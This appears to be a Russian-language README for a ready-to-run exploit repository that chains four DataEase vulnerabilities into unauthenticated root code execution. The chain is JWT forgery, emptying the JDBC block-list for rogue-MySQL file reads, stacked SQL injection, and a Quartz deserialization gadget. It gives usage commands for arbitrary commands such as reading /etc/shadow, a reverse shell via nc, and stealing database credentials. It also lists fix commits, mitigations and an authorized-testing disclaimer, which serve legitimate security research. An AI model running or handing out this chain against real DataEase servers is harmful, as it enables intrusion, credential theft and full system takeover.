Автоматический эксплойт для DataEase: цепочка из 4 уязвимостей (обход аутентификации, обход блок-листа JDBC, SQL-инъекция, десериализация Java), обеспечивающая неаутентифицированный RCE. Включает Docker-лабораторию и PoC на Python.
Обход аутентификации → обход блок-листа JDBC (произвольное чтение файлов) → SQL-инъекция → Java-десериализация в Quartz → удалённое выполнение кода от имени
root.Автономная локальная лаборатория (Docker) + рабочий PoC. Исправлено в DataEase v2.10.21.
DataEase — популярная open-source BI-платформа / платформа визуализации данных (Java / Spring Boot). Версии ≤ v2.10.20 уязвимы к цепочке из четырёх проблем, которые вместе превращают доступный по сети DataEase в удалённое выполнение кода:
| # | CVE | Класс | Что это даёт |
|---|
| 1 | CVE-2026-23958 | Обход аутентификации (CWE-287/CWE-347) | Действуем как admin — валидная подпись не нужна |
| 2 | CVE-2026-40899 | Обход блок-листа JDBC (CWE-20) | Произвольное чтение файлов → кража учётных данных БД |
| 3 | CVE-2026-40900 | SQL-инъекция / stacked-запросы (CWE-89) | Запись в собственную БД DataEase |
| 4 | CVE-2026-40901 | Java-десериализация (CWE-502) | RCE от имени root через хранилище заданий Quartz |
# 1. bring up a vulnerable DataEase v2.10.20 + MySQL
docker compose up -d
# wait until http://localhost:8100/de2api/dekey returns 200 (Flyway migration ~20s)
# 2. fire the chain
python3 exploit/de_rce_chain.py
# 3. a few seconds later, confirm code execution as root
docker exec dataease cat /tmp/pwned_CVE_2026_40901
# uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),...
# PWNED_BY_CVE_2026_40901
# Linux 82a2b09d68e9 6.10.14-linuxkit ... aarch64 Linux
Всё работает локально в Docker. Никаких внешних сервисов, внешних целей в интернете.
docker-compose.yml vulnerable DataEase v2.10.20 + MySQL 8.4
conf/application-standalone.yml repoints the DB at the local mysql-de
mysql/ my.cnf + init.sql (creates the empty `dataease` DB)
exploit/ the PoC
Запуск:
docker compose up -d
# wait until http://localhost:8100/de2api/dekey returns 200 (Flyway migration ~20s)
http://localhost:8100 (префикс API /de2api)admin / DataEase@123456Требования на хосте: Docker, Python 3.8+ с cryptography (pip install -r exploit/requirements.txt) и Docker CLI (используется для запуска ysoserial в одноразовом контейнере eclipse-temurin:8-jre для сборки гаджета).
DataEase аутентифицирует запросы в сервлетном фильтре TokenFilter (sdk/common/.../auth/filter/TokenFilter.java). Он читает токен и вызывает TokenUtils.validate(), который в итоге приводит к:
// io.dataease.utils.TokenUtils
public static TokenUserBO userBOByToken(String token) {
DecodedJWT jwt = JWT.decode(token); // <-- decode only, NO signature check
Long userId = jwt.getClaim("uid").asLong();
Long oid = jwt.getClaim("oid").asLong();
...
return new TokenUserBO(userId, oid);
}
JWT.decode() никогда не проверяет подпись. Проверяются только два условия: токен имеет длину ≥ 100 символов и содержит целочисленный claim uid. Таким образом, любой JWT, в котором указано "uid": 1, заставляет запрос выполняться от имени встроенного администратора (uid 1).
Существует и второй фильтр (CommunityTokenFilter), который действительно проверяет подпись для заголовка X-DE-TOKEN, — но только при определённых условиях, а подписывающий ключ — это либо секрет пользователя, либо, в обычной community-сборке, MD5 жёстко заданного пароля по умолчанию DataEase@123456 (SubstituleLoginConfig → dataease.default-pwd). Сопутствующий путь share-link (X-DE-LINK-TOKEN) подписывается жёстко заданным ключом link-pwd-fit2cloud (LinkTokenUtil.defaultPwd) и до исправления также декодировался без проверки.
Итоговый эффект: атакующий может сгенерировать администраторский токен. В de_common.py есть forge_jwt(), который создаёт токен без подписи; PoC также поддерживает простой вход с повсеместными учётными данными по умолчанию, чтобы получить полностью валидный X-DE-TOKEN для остальной части цепочки.
Исправление (коммит 00c169caa) заставляет TokenFilter искать реальный секрет для каждого ресурса и по-настоящему вызывать verifier.verify(...).
При добавлении источника данных MySQL DataEase отклоняет набор опасных JDBC-параметров. Этот блок-лист хранится в поле с аннотацией Lombok @Data:
// io.dataease.datasource.type.Mysql (extends DatasourceConfiguration, @Data)
private List<String> illegalParameters = Arrays.asList(
"maxAllowedPacket","autoDeserialize","queryInterceptors","statementInterceptors",
"detectCustomCollations","allowloadlocalinfile","allowUrlInLocalInfile",
"allowLoadLocalInfileInPath");
Поскольку @Data автоматически генерирует setIllegalParameters(...), Jackson с радостью заполнит это поле из управляемого атакующим JSON. Отправка "illegalParameters": [] в (Base64-кодированном) блобе configuration опустошает блок-лист до того, как он будет проверен. После этого мы можем указать источнику данных на мошеннический MySQL-сервер с параметрами allowLoadLocalInfile=true&allowUrlInLocalInfile=true&allowLoadLocalInfileInPath=/ и читать произвольные файлы с хоста DataEase через механизм MySQL LOCAL INFILE.
# terminal A — rogue server, choose any file to steal
python3 exploit/rogue_mysql.py --port 3307 \
--file /opt/apps/config/application-standalone.yml
# terminal B — make DataEase connect to it (host.docker.internal reaches your host)
python3 exploit/file_read.py --rogue-host host.docker.internal --rogue-port 3307
Результат — DataEase отдаёт нам учётные данные своей собственной БД:
[+] captured '/opt/apps/config/application-standalone.yml' (613 bytes) from client:
spring:
datasource:
url: jdbc:mysql://mysql-de:3306/dataease?...
username: root
password: Password123@mysql
Именно эти учётные данные атакующий использует, чтобы направить шаг 3 на собственную базу данных DataEase. Исправление (коммит 16a950f96) добавляет @JsonIgnore к каждому полю illegalParameters, чтобы его больше нельзя было задать через JSON.
previewSqlPOST /de2api/datasetData/previewSql принимает Base64-кодированную SQL-строку и, не проверяя, что запрос одиночный, оборачивает её в подзапрос:
SELECT * FROM ( <your SQL> ) AS `tmp` LIMIT 100 OFFSET 0
Комментарии вырезаются, но мы можем сбалансировать скобки и использовать ; для выполнения дополнительных операторов. Поскольку источник данных под нашим контролем, мы включаем allowMultiQueries=true (его нет в блок-листе v2.10.20), поэтому stacked-запросы выполняются:
select 1) AS x;
UPDATE QRTZ_JOB_DETAILS SET JOB_DATA=0x<gadget> WHERE ... ;
SELECT * FROM (select 1
Сервер собирает из этого три настоящих оператора. Направив этот источник данных на собственную базу DataEase (учётные данные из шага 2), мы можем писать в её таблицы Quartz. Исправления: 15611593b добавляет allowMultiQueries в блок-лист, а e89059d88 ужесточает логику сохранения/движка.
DataEase планирует повторяющуюся задачу Quartz «проверка статуса источника данных»:
deSyncJob, задание Datasource / check_status, класс io.dataease.job.schedule.CheckDsStatusJob0 0/6 * * * ? * (по умолчанию: каждые 6 минут)Quartz использует хранилище заданий JDBC с useProperties=false, поэтому JobDataMap каждой задачи хранится в колонке QRTZ_JOB_DETAILS.JOB_DATA как сырой Java-сериализованный объект (это видно: блоб начинается с магической последовательности AC ED 00 05 … org.quartz.JobDataMap). Когда планировщик сканирует триггеры, в StdJDBCDelegate.selectJobDetail выполняется:
Map map = (Map) getObjectFromBlob(rs, "JOB_DATA"); // new ObjectInputStream(...).readObject()
DataEase включает в себя commons-collections-3.2.1.jar (а также velocity-1.7.jar) — классические источники гаджетов для десериализации. С помощью шага 3 мы перезаписываем JOB_DATA пейлоадом ysoserial CommonsCollections6 (и в том же stacked-запросе сдвигаем NEXT_FIRE_TIME триггера на сейчас, чтобы не ждать 6-минутный cron). При следующем сканировании планировщика readObject() запускает цепочку гаджетов (LazyMap → InvokerTransformer → Runtime.exec), и наша команда выполняется — от имени root внутри контейнера. Набор исправлений (e05bda764, …) удаляет уязвимую зависимость Velocity и устраняет достижимость стока.
PoC сам генерирует гаджет (обёртка команды, дружественная к busybox: целевая оболочка — Alpine ash, а Runtime.exec не получает шелл, поэтому мы используем sh -c echo${IFS}<b64>|base64${IFS}-d|sh).
pip install -r exploit/requirements.txt
# full chain (default: writes an id/uname proof file inside the container)
python3 exploit/de_rce_chain.py
# arbitrary command
python3 exploit/de_rce_chain.py --cmd 'cat /etc/shadow'
# reverse shell (start `nc -lvnp 4444` first)
python3 exploit/de_rce_chain.py --revshell host.docker.internal 4444
# verify code execution
docker exec dataease cat /tmp/pwned_CVE_2026_40901
Сброс отравленной задачи Quartz между запусками (необязательно):
exploit/reset_quartz.sh
| Путь | Назначение |
|---|---|
exploit/de_common.py | HTTP-клиент: восстановление RSA-ключа /dekey, вход, подделка JWT, datasource + previewSql |
exploit/de_rce_chain.py | сквозная цепочка auth → SQLi → десериализация Quartz → RCE |
exploit/rogue_mysql.py | минимальный мошеннический MySQL-сервер (чтение файлов через LOCAL INFILE) для CVE-2026-40899 |
exploit/file_read.py | управляет CVE-2026-40899 через мошеннический сервер |
exploit/reset_quartz.sh | восстановление чистой задачи Quartz после запуска |
admin по умолчанию (DataEase@123456).useProperties=true, применяйте фильтр десериализации JVM (-Djdk.serialFilter=…) и уберите commons-collections:3.2.1 / velocity:1.7 из classpath.Только для образования и авторизованного тестирования. Лаборатория нацелена на контейнер, который вы запускаете сами. Не направляйте это на системы, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения.
00c169caa, 16a950f96, 15611593b, e89059d88, e05bda764
(DataEase v2.10.20..v2.10.21)